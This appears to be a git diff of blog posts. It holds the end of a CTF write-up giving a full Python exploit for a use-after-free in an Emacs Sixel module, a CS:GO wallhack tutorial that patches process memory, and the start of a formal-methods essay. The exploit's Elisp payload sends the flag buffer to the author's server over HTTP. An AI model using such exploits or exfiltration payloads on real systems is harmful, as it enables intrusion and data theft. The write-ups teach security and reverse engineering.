cache_identifiers[i].h1 = h1; + cache_identifiers[i].h2 = h2; + cache_identifiers[i].h3 = h3; + cache[i] = malloc(sizeof(struct emacs_value_tag)); + cache[i]->v = *((void **)ret); + inuse[i] = 1; + break; + } + } + if (!sentinel) { + // Evict the whole cache, except for `i`. + for (int i = 0; i < CACHESZ; i++) { + /* cache_identifiers[j].h0 = 0; */ + /* cache_identifiers[j].h1 = 0; */ + /* cache_identifiers[j].h2 = 0; */ + /* cache_identifiers[j].h3 = 0; */ + free(cache[i]); + inuse[i] = 0; + } + cache_identifiers[0].h0 = h0; + cache_identifiers[0].h1 = h1; + cache_identifiers[0].h2 = h2; + cache_identifiers[0].h3 = h3; + cache[0] = malloc(sizeof(struct emacs_value_tag)); + cache[0]->v = *((void **)ret); + inuse[0] = 1; + } + + free(buf); + free(output); + sixel_allocator_free(allocator, palette); + return ret; + +} +#+END_SRC + +If your eyes glazed over reading that, we're doing a couple of things. First and +foremost, we're taking the =md5sum= of the input (which, in this case, is a string +of Sixel commands). If we haven't seen the hash before, then we feed the input +into [[https://github.com/saitoha/libsixel][libsixel]] to get some bitmap data, and then convert that bitmap data into an +Emacs string containing a [[https://en.wikipedia.org/wiki/Netpbm][netpbm]] image... mostly for convenience, since it's a +format readily accepted by Emacs. We also copy that resulting string onto the +heap so that we can save it in our =cache=.[fn:3] If we /have/ seen the hash before, +then we immediately return an Emacs object from the cache. + +** Vulnerability + +The vulnerability is outlined by the comments: we clear neither the heap +pointers in the cache nor the hashes. So, if the cache were evicted and you +inserted a Sixel image that had been cached prior to the eviction, the function +would return a stale pointer. + +So, where do we go with this? Let's look at the signature for =sixplayground-make-overlay=: + +#+BEGIN_SRC elisp +(defun sixplayground-make-overlay (start end data-or-function) + ... +#+END_SRC + +We pass the output of =sixel-decode-string= in as =data-or-function=. So if we can +coerce =sixel-decode-string= into returning an Emacs function object, then that +function will be called when the buffer is done being processed. + +Fortunately, it's fairly easy to construct a "function" that works, because +Elisp is quite lenient in what it considers a function. + +#+BEGIN_SRC elisp +(functionp 'eval-buffer) ; => t +#+END_SRC + +If we can coerce =sixel-decode-string= into returning the symbol naming a +function, then that function will be executed. + +Elisp objects are machine words where the type of the object is encoded in the +least significant bits. The concept is similar to that of the [[https://en.wikipedia.org/wiki/Tagged_pointer][tagged pointer]], +except that not all Emacs objects are pointers. Symbols, in particular, are just +identified by non-descriptive integers whose three least significant bits are +all =0=. + +#+BEGIN_SRC c +enum Lisp_Type + { + /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */ + Lisp_Symbol = 0, + + /* Type 1 is currently unused. */ + + /* Fixnum. XFIXNUM (obj) is the integer value. */ + Lisp_Int0 = 2, + Lisp_Int1 = USE_LSB_TAG ? 6 : 3, + + /* String. XSTRING (object) points to a struct Lisp_String. + The length of the string, and its contents, are stored therein. */ + Lisp_String = 4, + + /* Vector of Lisp objects, or something resembling it. + XVECTOR (object) points to a struct Lisp_Vector, which contains + the size and contents. The size field also contains the type + information, if it's not a real vector object. */ + Lisp_Vectorlike = 5, + + /* Cons. XCONS (object) points to a struct Lisp_Cons. */ + Lisp_Cons = USE_LSB_TAG ? 3 : 6, + + /* Must be last entry in Lisp_Type enumeration. */ + Lisp_Float = 7 + }; +#+END_SRC + +It isn't too difficult to find the in-memory representation of a symbol using +the dynamic module interface. Doing so is left as an exercise to the reader, as +it's been long enough that I've discarded a lot of my solution material. The +symbol I went for was =eval-buffer= for reasons you will soon see. + +The point about this being a non-descriptive integer rather than a pointer is an +important one, though. This means that one need not concern herself with i.e., +ASLR to carry out the exploit. + +Once you have the in-memory representation of the symbol, you can encode it as a +Sixel image using this Python function: + +#+BEGIN_SRC python +import png +from subprocess import Popen, DEVNULL, PIPE, STDOUT + +def data_to_sixel(data): + w = png.Writer(4, 2, greyscale=False) + p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) + w.write(p.stdin, data) + p.stdin.close() + try: + p.wait(5) + except Exception: + exit(1) + return p.stdout.read() +#+END_SRC + +** Exploit + +When this is decoded by the module, we know that there will be a heap chunk +/somewhere/ that contains the in-memory representation for our target symbol. Our +goal is to do some [[https://en.wikipedia.org/wiki/Heap_feng_shui][heap feng shui]] such that a stale pointer in the cache points +at this particular heap chunk. Then, we trigger a use-after-free, so that when +=sixel-decode-string= is called, it will return this symbol object, thereby +triggering the =or-function= path of =sixplayground-make-overlay=. + +This brings us to the solution. Like much of the other code in this article, it +is not pleasing to look at, but it gets the point across. + +#+BEGIN_SRC python +from base64 import b64encode +from subprocess import Popen, DEVNULL, PIPE, STDOUT +import struct +import time +import os +import png +import random + +EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\" +PAYLOAD=b""" +(save-excursion + (set-buffer (get-buffer "*flag*")) + (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) + (buffer-string)) +""" + +def data_to_sixel(data): + w = png.Writer(4, 2, greyscale=False) + p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) + w.write(p.stdin, data) + p.stdin.close() + try: + p.wait(5) + except Exception: + exit(1) + return p.stdout.read() + + +def random4x2(): + return data_to_sixel( + [tuple([random.randrange(0, 100) for _ in range(3 * 4)]), + tuple([random.randrange(0, 100) for _ in range(3 * 4)])] + ) + + +def emacs_exec(cmd): + p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) + try: + p.wait(30) + except Exception: + exit(1) + return p.stdout.read() + + +def submit(data): + b64encode(PAYLOAD + b"\n" + data) + emacs_exec(""" + (progn + (set-buffer (get-buffer "*scratch*")) + (delete-region 1 (buffer-size)) + (insert (base64-decode-string \"{}\"))) + """.format(b64encode(PAYLOAD + b"\n" + data).decode())) + resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))") + if b"FLAG" in resp: + print(resp) + +daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) +time.sleep(3) + +# 0. Connect to the remote. +emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))") +if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"): + print("[a] Failed to connect...") + daemon.kill() + exit(1) +litmus = emacs_exec(""" +(dolist (document (rudel-unsubscribed-documents rudel-current-session)) + (rudel-attach-to-buffer document (get-buffer "*scratch*")) + (let ((connection (oref (oref document session) connection))) + (rudel-subscribe-to connection document))) +""") +if b"ERROR" in litmus: + print("[b] Failed to connect...") + daemon.kill() + exit(1) + +original_cache = [] + +dump = PAYLOAD + +# 1. Populate the cache. +for _ in range(8): + dat = random4x2() + original_cache.append(dat) + dump += dat + +# 2. Evict the cache. +dump += random4x2() + +# 3. _Some_ allocation between now and fully populating the cache will overlap +# with the Emacs struct array. We don't necessarily know when, so pick random n. + +# n = random.randrange(0, 8) +n = 0 +# for i in range(n): +# dat = random4x2() +# original_cache[i] = dat +# dump += dat + +# 4. Submit the magic payload. +dump += EVAL_BUFFER + +# 5. Overlap should be some random entry afterward... +k = 5 +# k = random.randrange(n + 2, 8) +# dump += original_cache[k] + +submit(dump) +submit(original_cache[k]) + +emacs_exec("(rudel-disconnect rudel-current-session)") +print(f"n = {n}, k = {k}") +daemon.kill() +#+END_SRC + +I began by randomly choosing =n= and =k=. Trial and error led me to find that =n = 0, +k = 5= was the most reliable choice of the two, so they are hard-coded. There is +still some nondeterminism involved in the exploit, so you will have to run the +exploit script several times before it is fruitful. + +Besides the heap feng shui and use-after-free described above, we are inserting +some Elisp code to be executed by =eval-buffer= when we are successful. In +particular: + +#+BEGIN_SRC elisp +(save-excursion + (set-buffer (get-buffer "*flag*")) + (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) + (buffer-string)) +#+END_SRC + +So after setting up a Bash script to run my exploit in a loop, all I needed to +do was log into my home server, =tail -f= the logs, and crack open a beer. + +#+BEGIN_SRC prog +jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS +www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)" +#+END_SRC + +* On the CTF as a Whole + +I don't have too much to say. I think the competition went well. Thanks to all +who played. + +Despite all the burnout I was experiencing in the months leading up to the +competition, the comments on the [[https://ctftime.org/event/1561/weight][weight voting]] made it worth it for me, +especially hearing that folks liked the dumb game I spent months working on. + +I'm going off elsewhere for grad school now, but I'll continue to volunteer my +time with the UMass Cybersecurity Club for the foreseeable future. I helped to +sow the seeds, and now I have an opportunity to see things bloom. + +--- + +[fn:1] In Emacs, the principal data structure for storing editable text is the *buffer*. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. =*scratch*= is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with =*scratch*= because it's known to nearly every Emacs user. + +[fn:2] Or JIT, if you're using the latest and greatest. + +[fn:3] This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend." + +# LocalWords: Rudel fn bot's Elisp FFI SRC elisp defvar diff --git a/haunt/posts/understand-game-hacking-in-one-post.org b/haunt/posts/understand-game-hacking-in-one-post.org new file mode 100644 index 0000000..0b2d291 --- /dev/null +++ b/haunt/posts/understand-game-hacking-in-one-post.org @@ -0,0 +1,181 @@ +#+TITLE: Understand Game Hacking In One Post +#+DATE: <2017-09-05 Tue 15:06> +#+TAGS: tutorial reverse-engineering video-games game-hacking x86 c++ radare2 + +At a first glance, it might seem that game cheats like [[https://github.com/AimTuxOfficial/AimTux][AimTux]] are something that +could only be conjured by the most talented of reverse engineers. That was at +least my initial view on it, especially since I always saw these game hackers +using outlandish terms that I hadn't heard in over a year of playing in CTF's. +Don't be fooled; game hacking isn't nearly as complex as its community makes it +seem. In this post, I will explain the concepts in a way that is familiar to +people with experience in binary exploitation and reverse engineering, but it +shouldn't be too hard to understand if you lack that background. + +You want to know the secret of game hacking? Editing memory. Much can be +accomplished with nothing more than a few writes to process memory. This should +be unsurprising if you've used Cheat Engine, scanmem, or even the Game +Genie. Memory editing, despite the fact that much is nowadays validated on the +server, remains king in the cheat market. Reading and writing memory be your +primitives, and I'll show you just how effective they can be by walking you +through a basic wallhack for CS:GO. I choose Counter-Strike as an example, +because there is a wealth of information out there, and it has an active +commmunity constantly hacking on it. In case you want to go forth and do more on +your own, y'know? + +First, I should explain the two methods of editing process memory. Developers of +game hacks refer to the methods as "internal" and "external", where internal +means a dynamic library that gets injected into the game's address space, and +external means a separate process that manipulates memory by means of the +operating system. [[https://github.com/AimTuxOfficial/AimTux][AimTux]] is an example of an internal hack, and [[https://gitgud.io/vc/vcaim][vcaim]] is an +example of an external hack. We'll be writing an external cheat in this blog +post. Although, if you want to learn more about writing internal cheats on +Linux, [[https://aixxe.net/2016/09/linux-skin-changer][this blog post by Aixxe]] is excellent. + +Next, there's some terminology that people use when talking about +memory-manipulating cheats. "Offsets," and "signatures." If you've ever +performed a ret2libc attack on a system with ASLR, you already know about +offsets. It's just a number you add to the address at which a library was loaded +to get the position of something in memory. In the case of ret2libc, you're +trying to get to a function like =system(3)=, but in the case of CS:GO hacks, +you're trying to get to get something like a list of entities currently in the +game. You can try to find functions, too, which we'll be doing in this post to +write wallhacks, but most legit CS:GO hacks go after entity data. + +Games get updated and therefore recompiled quite often, so offsets are +constantly changing. To combat this, cheat developers developed ways to scan for +"signatures" in memory. That is, patterns of bytes that will reveal the offset - +either by being around the desired offset, or being code that references it. If +you get signatures from someone, it will probably look like "B9 ? ? ? ? 6A 00 FF +50 08 C3". Those are hexpairs, and the question marks are bytes that get ignored +because they're an address or something that will likely end up changing in a +future update. + +Oh yeah, probably should've mentioned why we're using offsets instead of fixed +addresses. It /is/ because of ASLR - a lot of CS:GO's code is stored in shared +libraries. Specifically, =client_client.so= and =engine_client.so=. Where these +are depends on whether you're using an amd64 or an x86 processor. Just use +=find(1)= in the Steam directory, man. + +As a heads up, this cheat is mostly a [[https://aixxe.net/2017/06/kernel-game-hacking][paste I stole from Emma]]. I didn't come up +with it myself, but I thought that it was simple enough to be an example for +this post. + +The way we're going to go about writing our wallhack is pretty primitive, +patching the =.text= segment. Although we're going to do this by editing memory, +not the binary on disk. In CS:GO, there's a "glow" effect that spectators have - +allowing them to see the outlines of other players in gamemodes like Casual. If +we can find the offset to the code that checks if we're a spectator or not and +patch it, we can enable the glowing effect and see through walls. + +The glow effect is also controlled by a "cvar," which is just a client-side +configuration variable. Specifically, it checks "spec_show_xray". If we open up +=client_client.so= in radare2, we can see that that's a plain ASCII string and +that there are two references to it in the =.text= segment. + +#+BEGIN_SRC +[0x005eef60]> iz~spec_show_xray +vaddr=0x0135c245 paddr=0x0135c245 ordinal=3016 sz=15 len=14 section=.rodata type=ascii string=spec_show_xray +[0x005eef60]> iS +[Sections] +... +idx=11 vaddr=0x005eef60 paddr=0x005eef60 sz=13998500 vsz=13998500 perm=--r-x name=.text +... + +40 sections + +[0x005eef60]> e search.from=0x005eef60 +[0x005eef60]> e search.to=0x005eef60+13998500 +[0x005eef60]> /r 0x0135c245 +[0x01348878-0x01348904] data 0x6236aa leaq str.spec_show_xray, %rsi in unknown function +data 0x71817c leaq str.spec_show_xray, %rsi in unknown function +#+END_SRC + +If we seek to the first one, we'll see a dissasembly listing like this + +#+BEGIN_SRC asm :hl_lines 0 +0x00623690 4c8d0de9c664. leaq 0x00c6fd80, %r9 +0x00623697 b980000800 movl $0x80080, %ecx +0x0062369c 4c8d05c5fdd9. leaq 0x013c3468, %r8 ; "If set to 1, you can see player outlines and name IDs through walls - who you can see depends on your team and mode" +0x006236a3 488d159af1d3. leaq 0x01362844, %rdx ; "0" +0x006236aa 488d35948bd3. leaq 0x0135c245, %rsi ; "spec_show_xray" +0x006236b1 488d3d080df6. leaq 0x065843c0, %rdi +0x006236b8 e8c3278e00 callq 0xf05e80 +#+END_SRC + +This is how cvars are "constructed" in the source engine. %rdi contains the +address of the actual variable, which is at =0x065843c0=. This is done so that +the variable can be changed from the in-game console, if the player so desires. +But what this means for us is that we can easily find the address of a cvar in +memory. If we look for references to that address, we'll find a handful. + +#+BEGIN_SRC +[0x006236aa]> /r 0x065843c0 +[0x01348782-0x01348904] data 0x6236b1 leaq 0x065843c0, %rdi in unknown function +data 0x6236c3 leaq 0x065843c0, %rsi in unknown function +data 0x7b7f57 movq 0x01bd5180, %rdi in unknown function +data 0x7b901b movq 0x01bd5180, %rbx in unknown function +data 0xc5ac60 movq 0x01bd5180, %rax in unknown function +data 0xc664d4 leaq 0x065843c0, %rax in unknown function +data 0xc7e86c leaq 0x065843c0, %rax in unknown function +data 0xc8bc34 movq 0x01bd5180, %rax in unknown function +data 0xd78699 movq 0x01bd5180, %rax in unknown function +data 0xda8601 movq 0x01bd5180, %rax in unknown function +data 0xda9d0f movq 0x01bd5180, %rax in unknown function +data 0xe3db40 movq 0x01bd5180, %rax in unknown function +#+END_SRC + +A little of trial and error, combined with looking at the [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/212843-mac-binaries-symbols.html][OSX binaries with +symbols]], yields that =0xc664d4= is the address that we're looking for - the +function responsible for glowing. + +#+BEGIN_SRC asm :hl_lines 0 +0x00c664c0 e80be7b3ff callq 0x7a4bd0 +0x00c664c5 84c0 testb %al, %al +0x00c664c7 0f84c3010000 je 0xc66690 +0x00c664cd 488b3d24df91. movq 0x065843f8, %rdi ; [0x65843f8:8]=0 +0x00c664d4 488d05e5de91. leaq 0x065843c0, %rax +0x00c664db 4839c7 cmpq %rax, %rdi +... +#+END_SRC + +That first call is the actual check, the symbol for it in the OSX binaries is +"CanSeeSpectatorOnlyTools". So if we patch the jump at =0x00c664c7=, we should +be able to see the glow effect as long as "spec_show_xray" is set to 1. + +This is pretty easy, since we just need to change 6 bytes. I initially +considered using =dd(1)= for this, but it doesn't seem to like touching procfs +mem files, so instead we'll edit it from a python REPL. + +#+BEGIN_SRC +[jakob@Epsilon ~]$ sudo grep -i client_client.so /proc/$(pidof csgo_linux64)/maps +7f5029915000-7f502b0e4000 r-xp 00000000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b0e4000-7f502b2e4000 ---p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +7f502b2e4000-7f502b571000 rw-p 017cf000 08:12 41426690 csgo/bin/linux64/client_client.so +[jakob@Epsilon ~]$ sudo python +Python 3.6.2 (default, Jul 20 2017, 03:52:27) +[GCC 7.1.1 20170630] on linux +Type "help", "copyright", "credits" or "license" for more information. +>>> OFF = 0x7f5029915000 + 0x00c664c7 +>>> with open("/proc/9052/mem", "wb") as mem: +... mem.seek(OFF) +... mem.write(b"\x90" * 6) +... +139982284502215 +6 +>>> +#+END_SRC + +And it seems to work pretty well. I know I didn't go into a whole lot of depth +about how you would actually come up with a cheat like this, but the reality is +that a lot can be figured out using some basic reverse engineering skills. You +already saw how much information leakage there is from a simple string +reference. There's a lot of information out there already, including the source +code for the [[https://github.com/ValveSoftware/source-sdk-2013][Source 2013 Base]]. I'd also recommend taking a look at the +[[https://www.unknowncheats.me/forum/index.php][UnknownCheats]] community if you're interested in learning more, they're +(generally) helpful and quite friendly. + + +Further Reading: + +- [[https://www.unknowncheats.me/forum/counterstrike-global-offensive/169923-cs-cheat-rookie-rookies.html][CS:GO Cheat-Making: From a rookie to rookies]] +- [[https://www.unknowncheats.me/forum/general-programming-and-reversing/133228-implement-pattern-scanning-obtain-offsets-dynamically.html][How to implement pattern-scanning to obtain offsets dynamically]] diff --git a/haunt/posts/what-ive-learned-about-formal-methods.org b/haunt/posts/what-ive-learned-about-formal-methods.org new file mode 100644 index 0000000..ca32956 --- /dev/null +++ b/haunt/posts/what-ive-learned-about-formal-methods.org @@ -0,0 +1,2118 @@ +#+TITLE: What I've Learned About Formal Methods In Half a Year +#+DATE: <2023-04-10 Mon 07:21> +#+TAGS: writeup formal-verification lean alloy lisp scheme +#+STARTUP: latexpreview +#+META-TAGS: (("twitter:card" . "summary") ("twitter:site" . "@0daysfordays") ("twitter:creator" . "@0daysfordays") ("og:description" . "A retrospective on a few months of working on a graduate degree in computer science.") ("og:image" . "https://jakob.space/static/image/opengraph-icon-coq.jpg")) + +I started working on my master's degree last September. The goal was to return to my workplace as a domain expert in formal methods -- a topic I knew I was interested in, and yet something I knew practically nothing about. I partially attribute my lack of exposure to the lack of supervised learning opportunities (courses) at my undergraduate institution.[fn:1] Brown has an ample supply of teaching and research faculty who work in the field, though, so I've been taking advantage of that and soaking up as much knowledge as I can. I'm writing this to summarize what I've learned and done through my few months at grad school, and also to touch on what I have yet to learn because, as it turns out, three semesters is not nearly enough time to become a "domain expert" in anything. A beginning practitioner, perhaps, but I'm sure even that's an overly-generous characterization.[fn:2] + +The two courses I've taken so far which specifically treat formal methods are [[https://csci1710.github.io/2023/][CSCI 1710: Logic for Systems]] and [[https://browncs1951x.github.io/][CSCI 1951X: Formal Proof and Verification]]. Shriram Krishnamurti described them, aptly, as two differing approaches to software verification, and I hope that this article gives some intuition as to what those approaches are and how they differ. + +I have made an effort to ensure that what I have written here is correct. But, alas, /errare humanum est/. I am still a student of the topic, and not yet a teacher. You are welcome to contact me or comment below if you find any statements that need to be corrected. + +* What Are Formal Methods? + +It doesn't matter what you call yourself -- programmer, software engineer, computer scientist, hobbyist -- if you've written software before, you're almost certainly familiar with the idea of testing: writing supplemental code to verify something about some other code you've written. Arguably, the most common form of testing is providing input/output examples. Consider the following program: + +#+BEGIN_SRC scheme +(use-modules (srfi srfi-1) + (srfi srfi-26)) + +(define (singleton? xs) (= 1 (length xs))) + +(define (quicksort l) + (if (singleton? l) + l + (append (quicksort (filter (cut > (car l) <>) (cdr l))) + (list (car l)) + (quicksort (filter (cut < (car l) <>) (cdr l)))))) +#+END_SRC + +We might gain some confidence that this correctly [[https://en.wikipedia.org/wiki/Sorting_algorithm][sorts a list]] by writing a few examples. + +#+BEGIN_SRC scheme +(use-modules (srfi srfi-64)) + +(test-begin "quicksort-test") + +(test-equal (quicksort '(1)) '(1)) +(test-equal (quicksort '(2 3 1)) '(1 2 3)) + +(test-end "quicksort-test") +#+END_SRC + +We can also come up with properties that we'd like to be true of the program, and validate it against randomly-generated input instances:[fn:3] + +#+BEGIN_SRC scheme +(define list-max-length 32) + +(define (random-list) + (define list-length (+ 1 (random (- list-max-length 1)))) + (map (lambda (_) (random 100)) + (iota list-length))) + +(define (sorted? xs) + (cond ((null? xs) #t) + ((singleton? xs) #t) + (else (and (<= (car xs) (cadr xs)) + (sorted? (cdr xs)))))) + +(for-each (lambda (_) + (test-assert (sorted? (quicksort (random-list))))) + (iota 1024)) +#+END_SRC + +And, indeed, these sorts of tests are incredibly helpful in writing software, but in practice they will never be exhaustive.[fn:12] There is always the possibility that some bug passes by, unbeknownst to your or your team. The "property test" above reveals how insufficient our list of examples is, as the program actually fails on most inputs. But our "property test" has a weakness of its own. In particular, it will claim that everything is okay, even if you replace the sorting algorithm with this: + +#+BEGIN_SRC scheme +(define (quicksort l) '(1 2 3)) +#+END_SRC + +Of course, this is a contrived example. =quicksort= is very easy to implement correctly (and, furthermore, to prove correct), but [[https://en.wikipedia.org/wiki/Timsort#Formal_verification][bugs in sorting algorithms that sneak by test suites]] do come up in practice. + +"Formal methods" are those which attempt to address the shortcomings of the typical means of software testing. It's a loaded term. From [[https://shemesh.larc.nasa.gov/fm/fm-what.html][NASA]]: formal methods are "mathematically rigorous techniques and tools for the specification, design and verification of software and hardware systems... the specifications used in formal methods are well-formed statements in a mathematical logic and ... formal verifications are rigorous deductions in that logic (i.e. each step follows from a rule of inference and hence can be checked by a mechanical process.)" + +Our stochastic test to assert the =sorted?= predicate is a small step in the right direction, as it provides a well-formed specification of /one/ of the properties our program should uphold. But there are other important properties as well -- in particular, that the output should be a permutation of the input. For specialized applications of sorting algorithms, we might also care about [[https://en.wikipedia.org/wiki/Sorting_algorithm#Stability][stability]]. + +The other issue is that we aren't rigorously verifying adherence to our specification. Verifying a few predicates on a few random examples isn't a proof, except in the jocular sense of "[[https://en.wikipedia.org/wiki/Proof_by_example][proof by example]]." To really be sure that our code is correct for all possible inputs, we would likely write a [[https://en.wikipedia.org/wiki/Structural_induction][proof by (structural) induction]] and implicitly appeal to the semantics of the programming language we write our program in. If we are fastidious, we can strive prove that these properties hold [[https://doclsf.de/papers/klein_sw_10.pdf][even as the source code is transformed into machine instructions]]. + +To be more succinct (but far less nuanced), I would say that "formal methods" is the use of mathematical techniques to establish properties about software and verify that those properties hold true. The former part is "formal specification," and the latter is "formal verification." + +** Why Care? + + "Software should be reliable." + +The degree to which that statement rings true could depend on your background. In my line of work, a software fault could result in people being sent home in boxes. The software that powers air transportation has to be safe and correct, lest the well-being of any souls on board is at risk. In these cases, policy (law) guides specification (what situations a piece of software needs to be able to handle, and how well), and [[https://www.faa.gov/aircraft/air_cert/design_approvals/air_software/media/TC-14-41.pdf][formal methods are known to help]] in validating that implementation upholds said specification. + +But even if your job doesn't have you losing sleep at night[fn:4], that doesn't mean you should care any less about the reliability of your software. It's frustrating to use software that you can't depend on. Have you ever missed an exit because the turn-by-turn navigation software you use [[https://www.autoevolution.com/news/waze-bugs-like-this-one-make-it-hard-to-resist-a-switch-to-google-maps-212399.html][has a bug in it]]? We should strive to write software that doesn't inflict pain or inconvenience upon its users. We should make an effort, when we can, to ensure the software we bring into the world is both minimally harmful and exceptionally useful. + +Interest in formal methods in the "non safety-critical" space has been increasing in recent years because downtime, among other things, will reliably lose a company revenue. As an interesting anecdote, the faculty I work with have noted that big cloud providers (Amazon and Microsoft) have been attracting formal methods researchers away from academia with massive salaries because they value reliability and see that formal methods reliably deliver.[fn:9] + +Even if formal methods have a reputation for being costly to adopt, and not reasonably applicable to all parts of the software engineering life cycle, my opinion is that the tooling is becoming 